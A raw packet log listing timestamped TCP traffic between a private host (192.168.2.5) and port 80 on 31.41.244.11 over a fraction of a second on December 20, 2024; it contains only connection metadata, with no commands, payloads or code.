Dec 20, 2024 16:08:21.492904902 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.494060993 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.494071960 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.494101048 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.494127989 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.495192051 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.495210886 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.495225906 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.495235920 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.495271921 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.496354103 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.496366978 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.496402025 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.496426105 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.497544050 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.497555971 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.497584105 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.497601986 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.498701096 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.498748064 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.499948978 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.499994993 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.500430107 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.500443935 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.500473022 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.500475883 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.500494003 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.500513077 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.501602888 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.501626968 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.501651049 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.501663923 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.502760887 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.502780914 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.502819061 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.502835035 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.507417917 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.507477999 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.508970976 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.509020090 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.511620045 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.511631012 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.511671066 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.511708021 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.513356924 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.513416052 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.514272928 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.514292002 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.514319897 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.514334917 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.515367031 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.515378952 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.515414953 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.516295910 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.516340971 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.518178940 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.518234015 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.519117117 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.519167900 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.522727013 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.522739887 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.522793055 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.524972916 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.525028944 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.526174068 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.526218891 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.529058933 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.529109955 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.530257940 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.530303001 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.533706903 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.533752918 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.534862995 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.534915924 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.538398981 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.538410902 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.538516998 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.541887999 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.542032957 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.543078899 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.543123007 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.545376062 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.545387983 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.545417070 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.545453072 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.548938036 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.549555063 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.550034046 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.550071001 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.551235914 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.551273108 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.552356005 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.552397013 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.556901932 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.556914091 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.556947947 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.556966066 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.559174061 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.559228897 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.559511900 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.559551954 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.563085079 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.563129902 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.564230919 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.564273119 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.568828106 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.568840981 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.568878889 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.572081089 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.572093010 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.572134018 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.576605082 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.576664925 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.577817917 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.577863932 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.577869892 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.577877045 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.577930927 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.577930927 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.580435038 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.580447912 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.580482006 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.580504894 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.584043026 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.584110022 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.585063934 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.585109949 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.591342926 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.591356039 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.591367006 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.591378927 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.591392994 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.591392040 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.591406107 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.591412067 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.591418028 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.591428995 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.591442108 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.591453075 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.591496944 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.592068911 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.592081070 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.592092991 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.592112064 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.592149019 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.593211889 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.593233109 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.593250990 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.593277931 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.594409943 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.594422102 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.594459057 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.594482899 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.595585108 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.595597029 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.595632076 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.596704006 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.596724033 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.596757889 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.596782923 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.597953081 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.597975016 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.597985029 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.598015070 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.598038912 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.599091053 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.599103928 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.599140882 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.599169016 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.600308895 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.600330114 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.600368023 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.601418018 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.601429939 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.601443052 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.601468086 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.601500034 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.605586052 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.605601072 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.605714083 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.606626034 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.606647968 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.606698036 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.606724024 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.607836962 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.607851028 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.607882977 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.607904911 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.609023094 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.609039068 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.609050035 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.609066963 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.609088898 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.610193968 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.610215902 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.610248089 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.610270023 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.611361027 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.611373901 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.611416101 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.611444950 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.612520933 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.612534046 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.612545013 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.612562895 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.612582922 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.613656998 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.613702059 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.613713026 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.613744974 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.614826918 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.614839077 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.614871979 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.616020918 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.616034031 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.616069078 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.617127895 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.617146969 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.617157936 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.617171049 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.617199898 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.618376017 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.618387938 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.618421078 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.618451118 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.619518995 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.619563103 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.670907974 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.670922995 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.671044111 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.671797991 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.671823978 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.671850920 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.671885014 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.672749996 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.672764063 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.672795057 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.672812939 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.673669100 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.673710108 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.674628973 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.674649000 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.674671888 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.674691916 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.675585032 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.675601959 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.675626993 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.675642967 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.676000118 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.676023006 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.676037073 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.676054001 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.676992893 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.677009106 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.677032948 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.677052975 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.678023100 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.678037882 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.678069115 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.678085089 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.678872108 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.678885937 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.678910971 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.678927898 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.679858923 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.679879904 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.679891109 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.679897070 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.679912090 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.679924965 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.680877924 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.680891037 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.680916071 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.680932045 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.681734085 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.681747913 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.681771994 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.681792974 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.682601929 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.682627916 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.682638884 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.682658911 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.683583021 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.683595896 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.683607101 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.683628082 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.683665037 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.684468985 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.684482098 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.684510946 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.684528112 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.685707092 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.685724020 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.685764074 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.685782909 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.686455011 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.686496973 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.686505079 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.686527014 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.687552929 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.687565088 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.687597036 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.687618017 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.688354969 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.688366890 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.688379049 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.688396931 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.688422918 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.689207077 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.689220905 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.689258099 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.689280033 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.690125942 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.690143108 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.690171957 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.690191031 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.691056013 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.691070080 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.691112041 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.692020893 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.692035913 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.692074060 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.692094088 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.692948103 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.692961931 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.692975998 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.693000078 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.693016052 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.693862915 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.693893909 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.693918943 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.693949938 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.694793940 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.694829941 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.694847107 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.694865942 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.695791006 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.695806026 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.695842028 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.695871115 CET	49965	80	192.168.2.5	31.41.244.11
